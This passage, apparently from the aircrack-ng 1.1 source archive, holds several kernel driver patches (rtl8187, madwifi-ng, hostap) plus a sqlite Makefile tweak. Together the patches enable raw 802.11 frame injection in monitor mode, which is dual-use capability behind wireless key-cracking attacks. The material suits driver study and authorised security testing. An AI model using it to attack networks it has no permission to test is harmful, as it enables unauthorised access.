strcmp((*crypt)->ops->name, "WEP") != 0) { /* changing to use WEP; deinit previously used algorithm * on this key */ - ieee80211_crypt_delayed_deinit(ieee, crypt); + ieee80211_crypt_delayed_deinit_rtl7(ieee, crypt); } if (*crypt == NULL) { @@ -326,10 +330,10 @@ if (new_crypt == NULL) return -ENOMEM; memset(new_crypt, 0, sizeof(struct ieee80211_crypt_data)); - new_crypt->ops = ieee80211_get_crypto_ops("WEP"); + new_crypt->ops = ieee80211_get_crypto_ops_rtl7("WEP"); if (!new_crypt->ops) { - request_module("ieee80211_crypt_wep"); - new_crypt->ops = ieee80211_get_crypto_ops("WEP"); + request_module("ieee80211_crypt_wep_rtl"); + new_crypt->ops = ieee80211_get_crypto_ops_rtl7("WEP"); } if (new_crypt->ops && try_module_get(new_crypt->ops->owner)) @@ -340,7 +344,7 @@ new_crypt = NULL; printk(KERN_WARNING "%s: could not initialize WEP: " - "load module ieee80211_crypt_wep\n", + "load module ieee80211_crypt_wep_rtl\n", dev->name); return -EOPNOTSUPP; } @@ -418,7 +422,7 @@ return 0; } -int ieee80211_wx_get_encode(struct ieee80211_device *ieee, +int ieee80211_wx_get_encode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *keybuf) { @@ -430,7 +434,7 @@ if(ieee->iw_mode == IW_MODE_MONITOR) return -1; - + key = erq->flags & IW_ENCODE_INDEX; if (key) { if (key > WEP_KEYS) @@ -470,6 +474,6 @@ } -EXPORT_SYMBOL(ieee80211_wx_get_scan); -EXPORT_SYMBOL(ieee80211_wx_set_encode); -EXPORT_SYMBOL(ieee80211_wx_get_encode); +EXPORT_SYMBOL(ieee80211_wx_get_scan_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_encode_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_encode_rtl7); diff -Naur rtl8187_linux_26.1010.0622.2006/ieee80211/Makefile rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/Makefile --- rtl8187_linux_26.1010.0622.2006/ieee80211/Makefile 2006-06-06 04:57:54.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/Makefile 2008-01-30 17:38:11.000000000 +0100 @@ -17,6 +17,7 @@ KVER := $(shell uname -r) KSRC := /lib/modules/$(KVER)/build INSTALL_PREFIX := +PWD = $(shell pwd) all: modules diff -Naur rtl8187_linux_26.1010.0622.2006/ieee80211/Modules.symvers rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/Modules.symvers --- rtl8187_linux_26.1010.0622.2006/ieee80211/Modules.symvers 2006-06-06 04:57:56.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/Modules.symvers 1970-01-01 01:00:00.000000000 +0100 @@ -1,43 +0,0 @@ -0x232e7944 ieee80211_wlan_frequencies /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0xaeae102f free_ieee80211_rtl /usr/rtl8187_linux_2.6_05312006/ieee80211/ieee80211-rtl -0x279e265f ieee80211_crypt_deinit_handler net/ieee80211/ieee80211_crypt -0xc2411d91 ieee80211_stop_queue /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x6ece20e1 ieee80211_wx_get_name_rtl /usr/rtl8187_linux_2.6_05312006/ieee80211/ieee80211-rtl -0x5d3847ff ieee80211_rx_rtl /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x18612027 ieee80211_wx_get_scan_rtl /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0xa0e03ce1 ieee80211_wx_get_name /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0xee25f349 ieee80211_wx_get_mode /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x86013c3d ieee80211_wx_set_mode /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x04493cc0 ieee80211_wx_get_rate /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x6c6df3b4 ieee80211_wx_set_rate /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x82caec02 ieee80211_crypt_deinit_entries net/ieee80211/ieee80211_crypt -0x347945bf ieee80211_wx_get_power /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x6379d455 ieee80211_wx_set_power /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0xae62ed59 ieee80211_wx_set_scan /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x6621e172 ieee80211_wx_set_freq /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x0e052e06 ieee80211_wx_get_freq /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x283f9f5d ieee80211_unregister_crypto_ops net/ieee80211/ieee80211_crypt -0x9da79aac ieee80211_is_shortslot /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x666032dc ieee80211_wx_get_wap /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x9f1cbe0e ieee80211_wx_set_wap /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x73d1d341 ieee80211_wx_set_rawtx /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x2c714184 ieee80211_is_54g /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x6892d598 ieee80211_wpa_supplicant_ioctl /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0xc062f1f5 ieee80211_ps_tx_ack /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x55534906 ieee80211_get_beacon /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0xe2679638 ieee80211_crypt_delayed_deinit net/ieee80211/ieee80211_crypt -0x3a0456bc free_ieee80211 net/ieee80211/ieee80211 -0x7e1ef2c8 ieee80211_wake_queue /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0xc1b81e9f ieee80211_register_crypto_ops net/ieee80211/ieee80211_crypt -0x3f795a39 alloc_ieee80211 net/ieee80211/ieee80211 -0x89803c23 ieee80211_get_crypto_ops net/ieee80211/ieee80211_crypt -0xc6caf2a4 ieee80211_txb_free net/ieee80211/ieee80211 -0x49c1422c ieee80211_rx_mgt net/ieee80211/ieee80211 -0xbf2b4ebd alloc_ieee80211_rtl /usr/rtl8187_linux_2.6_05312006/ieee80211/ieee80211-rtl -0xd155f7b8 ieee80211_softmac_stop_protocol /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x9ce2dcde ieee80211_softmac_start_protocol /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x00d74bba ieee80211_wx_get_encode_rtl /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x92b5d996 ieee80211_wx_set_encode_rtl /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x2ac9bf95 ieee80211_wx_set_essid /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x7dc92e7f ieee80211_wx_get_essid /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0xd04740ca ieee80211_reset_queue /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl diff -Naur rtl8187_linux_26.1010.0622.2006/Makefile rtl8187_linux_26.1010.0622.2006_rawtx/Makefile --- rtl8187_linux_26.1010.0622.2006/Makefile 1970-01-01 01:00:00.000000000 +0100 +++ rtl8187_linux_26.1010.0622.2006_rawtx/Makefile 2008-01-30 17:39:29.000000000 +0100 @@ -0,0 +1,38 @@ +prefix = /lib/modules/$(shell uname -r)/kernel/drivers/net/wireless +r8187dir = $(prefix)/rtl8187 +ieeedir = $(prefix)/rtl_ieee80211 + +default: all + +all: + -rm -f ieee80211/Module.symvers 2>/dev/null + -rm -f ieee80211/Modules.symvers 2>/dev/null + $(MAKE) -C ieee80211 $(@) + -chmod +x symvers + -./symvers + $(MAKE) -C beta-8187 $(@) + +install: + install -d $(ieeedir) + install -d $(r8187dir) + install -m 644 ./ieee80211/*.ko $(ieeedir) + install -m 644 ./beta-8187/*.ko $(r8187dir) + -depmod -ae + +uninstall: + -rm -f $(ieeedir)/ieee80211-rtl.ko + -rm -f $(ieeedir)/ieee80211_crypt-rtl.ko + -rm -f $(ieeedir)/ieee80211_crypt_ccmp-rtl.ko + -rm -f $(ieeedir)/ieee80211_crypt_tkip-rtl.ko + -rm -f $(ieeedir)/ieee80211_crypt_wep-rtl.ko + -rm -f $(r8187dir)/r8187.ko + -rm -fr $(ieeedir) + -rm -fr $(r8187dir) + -depmod -ae + +clean: + $(MAKE) -C ieee80211 $(@) + $(MAKE) -C beta-8187 $(@) + +distclean: clean + diff -Naur rtl8187_linux_26.1010.0622.2006/symvers rtl8187_linux_26.1010.0622.2006_rawtx/symvers --- rtl8187_linux_26.1010.0622.2006/symvers 1970-01-01 01:00:00.000000000 +0100 +++ rtl8187_linux_26.1010.0622.2006_rawtx/symvers 2008-01-30 17:38:11.000000000 +0100 @@ -0,0 +1,25 @@ +#!/bin/sh + +cd beta-8187 + +if [ -e Module.symvers ] +then + rm Module.symvers +fi + +if [ -e Modules.symvers ] +then + rm Modules.symvers +fi + +if [ -e ../ieee80211/Module.symvers ] +then + ln -sf ../ieee80211/Module.symvers ./ +fi + +if [ -e ../ieee80211/Modules.symvers ] +then + ln -sf ../ieee80211/Modules.symvers ./ +fi + +cd .. diff -Naur rtl8187_linux_26.1010.0622.2006/wlan0rmv rtl8187_linux_26.1010.0622.2006_rawtx/wlan0rmv --- rtl8187_linux_26.1010.0622.2006/wlan0rmv 2006-09-05 07:21:10.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/wlan0rmv 2008-01-30 17:38:11.000000000 +0100 @@ -1,5 +1,9 @@ #!/bin/bash -rmmod r8180 -rmmod ieee80211_r8180 -rmmod ieee80211_crypt_r8180 +rmmod rtl8187 2>/dev/null +rmmod r8187 2>/dev/null +rmmod ieee80211_rtl 2>/dev/null +rmmod ieee80211_crypt_ccmp_rtl 2>/dev/null +rmmod ieee80211_crypt_tkip_rtl 2>/dev/null +rmmod ieee80211_crypt_wep_rtl 2>/dev/null +rmmod ieee80211_crypt_rtl 2>/dev/null aircrack-ng-1.1/patches/old/madwifi-ng-r2277.patch0000644000000000000000000000200111134713404020252 0ustar rootrootdiff -ur madwifi-ng/ath/if_ath.c madwifi-ng-patched/ath/if_ath.c --- madwifi-ng/ath/if_ath.c 2007-04-14 15:42:02.000000000 +0200 +++ madwifi-ng-patched/ath/if_ath.c 2007-04-14 15:43:18.000000000 +0200 @@ -2285,6 +2285,7 @@ ath_tx_startraw(struct net_device *dev, struct ath_buf *bf, struct sk_buff *skb) { struct ath_softc *sc = dev->priv; + struct ieee80211com *ic = &sc->sc_ic; struct ath_hal *ah = sc->sc_ah; struct ieee80211_phy_params *ph = (struct ieee80211_phy_params *) (skb->cb + sizeof(struct ieee80211_cb)); const HAL_RATE_TABLE *rt; @@ -2298,7 +2299,11 @@ struct ieee80211_frame *wh; wh = (struct ieee80211_frame *) skb->data; - try0 = ph->try0; + try0 = (ic->ic_opmode == IEEE80211_M_MONITOR) ? 1 : ph->try0; + /* + * The retry value has to be patched to 1 when injecting, + * otherwise the sequence number will be overwritten + */ rt = sc->sc_currates; txrate = dot11_to_ratecode(sc, rt, ph->rate0); power = ph->power > 60 ? 60 : ph->power; Only in madwifi-ng-patched/ath: if_ath.c~ aircrack-ng-1.1/patches/old/sqlite-3.5.4-lib_cygwin.diff0000644000000000000000000000117010770555330021367 0ustar rootroot--- Makefile.ori 2007-12-19 00:53:49.859375000 +0100 +++ Makefile 2007-12-19 00:55:36.031250000 +0100 @@ -581,11 +581,10 @@ libtclsqlite3.la $(LIBTCL) -install: sqlite3$(BEXE) libsqlite3.la sqlite3.h ${HAVE_TCL:1=tcl_install} +install: libsqlite3.la sqlite3.h $(INSTALL) -d $(DESTDIR)$(libdir) $(LTINSTALL) libsqlite3.la $(DESTDIR)$(libdir) $(INSTALL) -d $(DESTDIR)$(exec_prefix)/bin - $(LTINSTALL) sqlite3$(BEXE) $(DESTDIR)$(exec_prefix)/bin $(INSTALL) -d $(DESTDIR)$(prefix)/include $(INSTALL) -m 0644 sqlite3.h $(DESTDIR)$(prefix)/include $(INSTALL) -m 0644 $(TOP)/src/sqlite3ext.h $(DESTDIR)$(prefix)/include aircrack-ng-1.1/patches/old/madwifi-ng-r3925.patch0000644000000000000000000000223011226735175020272 0ustar rootrootIndex: ath/if_ath.c =================================================================== --- ath/if_ath.c (revision 3925) +++ ath/if_ath.c (working copy) @@ -3002,6 +3002,7 @@ ath_tx_startraw(struct net_device *dev, struct ath_buf *bf, struct sk_buff *skb) { struct ath_softc *sc = netdev_priv(dev); + struct ieee80211com *ic = &sc->sc_ic; struct ath_hal *ah = sc->sc_ah; struct ieee80211_phy_params *ph = &(SKB_CB(skb)->phy); const HAL_RATE_TABLE *rt; @@ -3014,7 +3015,8 @@ struct ieee80211_frame *wh; wh = (struct ieee80211_frame *)skb->data; - try0 = ph->try[0]; +// try0 = ph->try[0]; + try0 = (ic->ic_opmode == IEEE80211_M_MONITOR) ? 1 : ph->try[0]; rt = sc->sc_currates; txrate = dot11_to_ratecode(sc, rt, ph->rate[0]); power = ph->power > 60 ? 60 : ph->power; @@ -3038,7 +3040,8 @@ rt = sc->sc_currates; KASSERT(rt != NULL, ("no rate table, mode %u", sc->sc_curmode)); - if (IEEE80211_IS_MULTICAST(wh->i_addr1)) { + if (IEEE80211_IS_MULTICAST(wh->i_addr1) || ((ic->ic_opmode == +IEEE80211_M_MONITOR) && (skb->data[1]&3) != 0x01) ) { flags |= HAL_TXDESC_NOACK; /* no ack on broad/multicast */ sc->sc_stats.ast_tx_noack++; try0 = 1; aircrack-ng-1.1/patches/old/madwifi-ng-r3745.patch0000644000000000000000000000226311134713404020265 0ustar rootrootdiff -Naur madwifi/ath/if_ath.c madwifi_rawtx/ath/if_ath.c --- madwifi/ath/if_ath.c 2008-06-24 17:20:58.000000000 -0400 +++ madwifi_rawtx/ath/if_ath.c 2008-06-24 17:20:12.000000000 -0400 @@ -2950,6 +2950,7 @@ ath_tx_startraw(struct net_device *dev, struct ath_buf *bf, struct sk_buff *skb) { struct ath_softc *sc = dev->priv; + struct ieee80211com *ic = &sc->sc_ic; struct ath_hal *ah = sc->sc_ah; struct ieee80211_phy_params *ph = &(SKB_CB(skb)->phy); const HAL_RATE_TABLE *rt; @@ -2962,7 +2963,8 @@ struct ieee80211_frame *wh; wh = (struct ieee80211_frame *)skb->data; - try0 = ph->try[0]; +// try0 = ph->try[0]; + try0 = (ic->ic_opmode == IEEE80211_M_MONITOR) ? 1 : ph->try[0]; rt = sc->sc_currates; txrate = dot11_to_ratecode(sc, rt, ph->rate[0]); power = ph->power > 60 ? 60 : ph->power; @@ -2986,7 +2988,8 @@ rt = sc->sc_currates; KASSERT(rt != NULL, ("no rate table, mode %u", sc->sc_curmode)); - if (IEEE80211_IS_MULTICAST(wh->i_addr1)) { + if (IEEE80211_IS_MULTICAST(wh->i_addr1) || ((ic->ic_opmode == +IEEE80211_M_MONITOR) && (skb->data[1]&3) != 0x01) ) { flags |= HAL_TXDESC_NOACK; /* no ack on broad/multicast */ sc->sc_stats.ast_tx_noack++; try0 = 1; aircrack-ng-1.1/patches/old/hostap-kernel-2.6.16.patch0000644000000000000000000004213710761053203020770 0ustar rootrootdiff -ur hostap/hostap_80211_tx.c hostap-aircrack-ng/hostap_80211_tx.c --- hostap/hostap_80211_tx.c 2006-03-29 01:25:40.000000000 -0500 +++ hostap-aircrack-ng/hostap_80211_tx.c 2006-04-02 00:32:25.000000000 -0500 @@ -69,6 +69,9 @@ iface = netdev_priv(dev); local = iface->local; + if (local->iw_mode == IW_MODE_MONITOR) + goto xmit; + if (skb->len < ETH_HLEN) { printk(KERN_DEBUG "%s: hostap_data_start_xmit: short skb " "(len=%d)\n", dev->name, skb->len); @@ -234,6 +237,7 @@ memcpy(skb_put(skb, ETH_ALEN), &hdr.addr4, ETH_ALEN); } +xmit: iface->stats.tx_packets++; iface->stats.tx_bytes += skb->len; @@ -404,8 +408,6 @@ } if (skb->len < 24) { - printk(KERN_DEBUG "%s: hostap_master_start_xmit: short skb " - "(len=%d)\n", dev->name, skb->len); ret = 0; iface->stats.tx_dropped++; goto fail; diff -ur hostap/hostap_cs.c hostap-aircrack-ng/hostap_cs.c --- hostap/hostap_cs.c 2006-03-29 01:25:40.000000000 -0500 +++ hostap-aircrack-ng/hostap_cs.c 2006-04-02 00:53:07.000000000 -0500 @@ -872,58 +872,105 @@ } static struct pcmcia_device_id hostap_cs_ids[] = { - PCMCIA_DEVICE_MANF_CARD(0x000b, 0x7100), - PCMCIA_DEVICE_MANF_CARD(0x000b, 0x7300), - PCMCIA_DEVICE_MANF_CARD(0x0101, 0x0777), - PCMCIA_DEVICE_MANF_CARD(0x0126, 0x8000), - PCMCIA_DEVICE_MANF_CARD(0x0138, 0x0002), - PCMCIA_DEVICE_MANF_CARD(0x0250, 0x0002), - PCMCIA_DEVICE_MANF_CARD(0x026f, 0x030b), - PCMCIA_DEVICE_MANF_CARD(0x0274, 0x1612), - PCMCIA_DEVICE_MANF_CARD(0x0274, 0x1613), - PCMCIA_DEVICE_MANF_CARD(0x028a, 0x0002), - PCMCIA_DEVICE_MANF_CARD(0x02aa, 0x0002), - PCMCIA_DEVICE_MANF_CARD(0x02d2, 0x0001), - PCMCIA_DEVICE_MANF_CARD(0x50c2, 0x0001), - PCMCIA_DEVICE_MANF_CARD(0x50c2, 0x7300), - PCMCIA_DEVICE_MANF_CARD(0xc00f, 0x0000), - PCMCIA_DEVICE_MANF_CARD(0xd601, 0x0002), - PCMCIA_DEVICE_MANF_CARD(0xd601, 0x0005), - PCMCIA_DEVICE_MANF_CARD(0xd601, 0x0010), + PCMCIA_DEVICE_MANF_CARD(0x026f, 0x030b), + PCMCIA_DEVICE_MANF_CARD(0x000b, 0x7100), // SonicWALL Long Range Wireless Card + PCMCIA_DEVICE_MANF_CARD(0x000b, 0x7110), // D-Link DWL-650 rev P 802.11b WLAN card + PCMCIA_DEVICE_MANF_CARD(0x000b, 0x7300), // Sohoware NCP110, Philips 802.11b +// PCMCIA_DEVICE_MANF_CARD(0x0089, 0x0001), // Intel PRO/Wireless 2011 (Symbol24) + PCMCIA_DEVICE_MANF_CARD(0x0089, 0x0002), // AnyPoint(TM) Wireless II PC Card + PCMCIA_DEVICE_MANF_CARD(0x0101, 0x0777), // 3Com AirConnect PCI 777A + PCMCIA_DEVICE_MANF_CARD(0x0126, 0x8000), // PROXIM RangeLAN-DS/LAN PC CARD + PCMCIA_DEVICE_MANF_CARD(0x0138, 0x0002), // Compaq WL100 11 Mbps Wireless Adapter +// PCMCIA_DEVICE_MANF_CARD(0x0156, 0x0002), // Mostly Lucent Orinoco (HermesI), but also some Prism2 :( +// PCMCIA_DEVICE_MANF_CARD(0x016b, 0x0001), // Ericsson WLAN Card C11 (Symbol24) +// PCMCIA_DEVICE_MANF_CARD(0x01eb, 0x080a), // Nortel eMobility 802.11 Wireless Adapter (Symbol24) + PCMCIA_DEVICE_MANF_CARD(0x01ff, 0x0008), // Intermec MobileLAN 11Mbps 802.11b WLAN Card + PCMCIA_DEVICE_MANF_CARD(0x0250, 0x0002), // Samsung SWL2000-N 11Mb/s WLAN Card +// PCMCIA_DEVICE_MANF_CARD(0x0261, 0x0002), // AirWay 802.11 Adapter (HermesI) +// PCMCIA_DEVICE_MANF_CARD(0x0268, 0x0001), // ARtem Onair (HermesI) +// PCMCIA_DEVICE_MANF_CARD(0x026c, 0x0001), // Symbol Technologies LA4111 (Symbol24) + PCMCIA_DEVICE_MANF_CARD(0x026f, 0x0305), // Buffalo WLI-PCM-S11 + PCMCIA_DEVICE_MANF_CARD(0x0274, 0x1612), // Linksys WPC11 Version 2.5 + PCMCIA_DEVICE_MANF_CARD(0x0274, 0x1613), // Linksys WPC11 Version 3 + PCMCIA_DEVICE_MANF_CARD(0x028a, 0x0002), // Compaq HNW-100 11 Mbps Wireless Adapter + PCMCIA_DEVICE_MANF_CARD(0x028a, 0x0673), // Linksys WCF12 11Mbps 802.11b WLAN Card (Prism 3) + PCMCIA_DEVICE_MANF_CARD(0x02aa, 0x0002), // ASUS SpaceLink WL-100 + PCMCIA_DEVICE_MANF_CARD(0x02ac, 0x0002), // SpeedStream SS1021 Wireless Adapter + PCMCIA_DEVICE_MANF_CARD(0x02ac, 0x3021), // SpeedStream SS1021 Wireless Adapter (newer) + PCMCIA_DEVICE_MANF_CARD(0x02d2, 0x0001), // Microsoft Wireless Notebook Adapter MN-520 + PCMCIA_DEVICE_MANF_CARD(0x14ea, 0xb001), // PLANEX RoadLannerWave GW-NS11H + PCMCIA_DEVICE_MANF_CARD(0x1668, 0x0101), // ActionTec 802CI2/HCW01170-01 + PCMCIA_DEVICE_MANF_CARD(0x50c2, 0x0001), // Airvast ? + PCMCIA_DEVICE_MANF_CARD(0x50c2, 0x7300), // Airvast WN-100 + PCMCIA_DEVICE_MANF_CARD(0x9005, 0x0021), // Adaptec Ultra Wireless ANW-8030 + PCMCIA_DEVICE_MANF_CARD(0xc001, 0x0008), // CONTEC FLEXSCAN/FX-DDS110-PCC + PCMCIA_DEVICE_MANF_CARD(0xc00f, 0x0000), // Corega KK Wireless LAN PCC-11 + PCMCIA_DEVICE_MANF_CARD(0xc250, 0x0002), // Conceptronic CON11Cpro, EMTAC A2424i + PCMCIA_DEVICE_MANF_CARD(0xd601, 0x0002), // Safeway 802.11b, ZCOMAX AirRunner/XI-300 + PCMCIA_DEVICE_MANF_CARD(0xd601, 0x0005), // D-Link DCF660, ZCOMAX XI-325HP 200mw + PCMCIA_DEVICE_MANF_CARD(0xd601, 0x0010), // SMC2532W-B V2 + + PCMCIA_MFC_DEVICE_PROD_ID12(0, "SanDisk", "ConnectPlus", 0x7a954bd9, 0x74be00c6), + PCMCIA_DEVICE_MANF_CARD_PROD_ID1(0x0156, 0x0002, "INTERSIL", 0x74c5e40d), PCMCIA_DEVICE_MANF_CARD_PROD_ID1(0x0156, 0x0002, "Intersil", 0x4b801a17), - PCMCIA_MFC_DEVICE_PROD_ID12(0, "SanDisk", "ConnectPlus", - 0x7a954bd9, 0x74be00c6), - PCMCIA_DEVICE_PROD_ID1234( - "Intersil", "PRISM 2_5 PCMCIA ADAPTER", "ISL37300P", - "Eval-RevA", - 0x4b801a17, 0x6345a0bf, 0xc9049a39, 0xc23adc0e), - PCMCIA_DEVICE_PROD_ID123( - "Addtron", "AWP-100 Wireless PCMCIA", "Version 01.02", - 0xe6ec52ce, 0x08649af2, 0x4b74baa0), - PCMCIA_DEVICE_PROD_ID123( - "D", "Link DWL-650 11Mbps WLAN Card", "Version 01.02", - 0x71b18589, 0xb6f1b0ab, 0x4b74baa0), - PCMCIA_DEVICE_PROD_ID123( - "Instant Wireless ", " Network PC CARD", "Version 01.02", - 0x11d901af, 0x6e9bd926, 0x4b74baa0), - PCMCIA_DEVICE_PROD_ID123( - "SMC", "SMC2632W", "Version 01.02", - 0xc4f8b18b, 0x474a1f2a, 0x4b74baa0), - PCMCIA_DEVICE_PROD_ID12("BUFFALO", "WLI-CF-S11G", - 0x2decece3, 0x82067c18), - PCMCIA_DEVICE_PROD_ID12("Compaq", "WL200_11Mbps_Wireless_PCI_Card", - 0x54f7c49c, 0x15a75e5b), - PCMCIA_DEVICE_PROD_ID12("INTERSIL", "HFA384x/IEEE", - 0x74c5e40d, 0xdb472a18), - PCMCIA_DEVICE_PROD_ID12("Linksys", "Wireless CompactFlash Card", - 0x0733cc81, 0x0c52f395), - PCMCIA_DEVICE_PROD_ID12( - "ZoomAir 11Mbps High", "Rate wireless Networking", - 0x273fe3db, 0x32a1eaee), - PCMCIA_DEVICE_NULL + + PCMCIA_DEVICE_PROD_ID12(" ", "IEEE 802.11 Wireless LAN/PC Card", 0x3b6e20c8, 0xefccafe9), +// PCMCIA_DEVICE_PROD_ID12("3Com", "3CRWE737A AirConnect Wireless LAN PC Card", 0x41240e5b, 0x56010af3), // Symbol24 + PCMCIA_DEVICE_PROD_ID12("ACTIONTEC", "PRISM Wireless LAN PC Card", 0x393089da, 0xa71e69d5), + PCMCIA_DEVICE_PROD_ID123("Addtron", "AWP-100 Wireless PCMCIA", "Version 01.02", 0xe6ec52ce, 0x08649af2, 0x4b74baa0), + PCMCIA_DEVICE_PROD_ID123("AIRVAST", "IEEE 802.11b Wireless PCMCIA Card", "HFA3863", 0xea569531, 0x4bcb9645, 0x355cb092), + PCMCIA_DEVICE_PROD_ID12("Allied Telesyn", "AT-WCL452 Wireless PCMCIA Radio", 0x5cd01705, 0x4271660f), + PCMCIA_DEVICE_PROD_ID12("ASUS", "802_11b_PC_CARD_25", 0x78fc06ee, 0xdb9aa842), + PCMCIA_DEVICE_PROD_ID12("ASUS", "802_11B_CF_CARD_25", 0x78fc06ee, 0x45a50c1e), +// PCMCIA_DEVICE_PROD_ID12("Avaya Communication", "Avaya Wireless PC Card", 0xd8a43b78, 0x0d341169), // HermesI + PCMCIA_DEVICE_PROD_ID12("BENQ", "AWL100 PCMCIA ADAPTER", 0x35dadc74, 0x01f7fedb), +// PCMCIA_DEVICE_PROD_ID12("BUFFALO", "WLI-PCM-L11G", 0x2decece3, 0xf57ca4b3), // HermesI + PCMCIA_DEVICE_PROD_ID12("BUFFALO", "WLI-CF-S11G", 0x2decece3, 0x82067c18), +// PCMCIA_DEVICE_PROD_ID12("Cabletron", "RoamAbout 802.11 DS", 0x32d445f5, 0xedeffd90), // HermesI + PCMCIA_DEVICE_PROD_ID12("Compaq", "WL200_11Mbps_Wireless_PCI_Card", 0x54f7c49c, 0x15a75e5b), + PCMCIA_DEVICE_PROD_ID123("corega", "WL PCCL-11", "ISL37300P", 0x0a21501a, 0x59868926, 0xc9049a39), + PCMCIA_DEVICE_PROD_ID12("corega K.K.", "Wireless LAN PCC-11", 0x5261440f, 0xa6405584), + PCMCIA_DEVICE_PROD_ID12("corega K.K.", "Wireless LAN PCCA-11", 0x5261440f, 0xdf6115f9), + PCMCIA_DEVICE_PROD_ID12("D", "Link DRC-650 11Mbps WLAN Card", 0x71b18589, 0xf144e3ac), + PCMCIA_DEVICE_PROD_ID123("D", "Link DWL-650 11Mbps WLAN Card", "Version 01.02", 0x71b18589, 0xb6f1b0ab, 0x4b74baa0), +// PCMCIA_DEVICE_PROD_ID12("D-Link Corporation", "D-Link DWL-650H 11Mbps WLAN Adapter", 0xef544d24, 0xcd8ea916), // Symbol24 + PCMCIA_DEVICE_PROD_ID12("Digital Data Communications", "WPC-0100", 0xfdd73470, 0xe0b6f146), +// PCMCIA_DEVICE_PROD_ID12("ELSA", "AirLancer MC-11", 0x4507a33a, 0xef54f0e3), // HermesI + PCMCIA_DEVICE_PROD_ID12("HyperLink", "Wireless PC Card 11Mbps", 0x56cc3f1a, 0x0bcf220c), + PCMCIA_DEVICE_PROD_ID123("Instant Wireless ", " Network PC CARD", "Version 01.02", 0x11d901af, 0x6e9bd926, 0x4b74baa0), +// PCMCIA_DEVICE_PROD_ID12("Intel", "PRO/Wireless 2011 LAN PC Card", 0x816cc815, 0x07f58077), // HermesI + PCMCIA_DEVICE_PROD_ID12("INTERSIL", "HFA384x/IEEE", 0x74c5e40d, 0xdb472a18), + PCMCIA_DEVICE_PROD_ID12("INTERSIL", "I-GATE 11M PC Card / PC Card plus", 0x74c5e40d, 0x8304ff77), + PCMCIA_DEVICE_PROD_ID1234("Intersil", "PRISM 2_5 PCMCIA ADAPTER", "ISL37300P", "Eval-RevA", 0x4b801a17, 0x6345a0bf, 0xc9049a39, 0xc23adc0e), + PCMCIA_DEVICE_PROD_ID123("Intersil", "PRISM Freedom PCMCIA Adapter", "ISL37100P", 0x4b801a17, 0xf222ec2d, 0x630d52b2), + PCMCIA_DEVICE_PROD_ID12("INTERSIL", "HFA384x/IEEE", 0x74c5e40d, 0xdb472a18), + PCMCIA_DEVICE_PROD_ID12("LeArtery", "SYNCBYAIR 11Mbps Wireless LAN PC Card", 0x7e3b326a, 0x49893e92), + PCMCIA_DEVICE_PROD_ID12("Linksys", "Wireless CompactFlash Card", 0x0733cc81, 0x0c52f395), +// PCMCIA_DEVICE_PROD_ID12("Lucent Technologies", "WaveLAN/IEEE", 0x23eb9949, 0xc562e72a), // HermesI +// PCMCIA_DEVICE_PROD_ID12("MELCO", "WLI-PCM-L11", 0x481e0094, 0x7360e410), // HermesI +// PCMCIA_DEVICE_PROD_ID12("MELCO", "WLI-PCM-L11G", 0x481e0094, 0xf57ca4b3), // HermesI + PCMCIA_DEVICE_PROD_ID12("Microsoft", "Wireless Notebook Adapter MN-520", 0x5961bf85, 0x6eec8c01), +// PCMCIA_DEVICE_PROD_ID12("NCR", "WaveLAN/IEEE", 0x24358cd4, 0xc562e72a), // HermesI + PCMCIA_DEVICE_PROD_ID12("NETGEAR MA401 Wireless PC", "Card", 0xa37434e9, 0x9762e8f1), 